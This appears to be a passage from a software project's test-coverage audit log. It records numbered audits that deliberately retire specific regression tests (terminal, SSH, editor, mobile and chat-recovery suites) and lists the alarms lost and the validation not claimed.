SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler 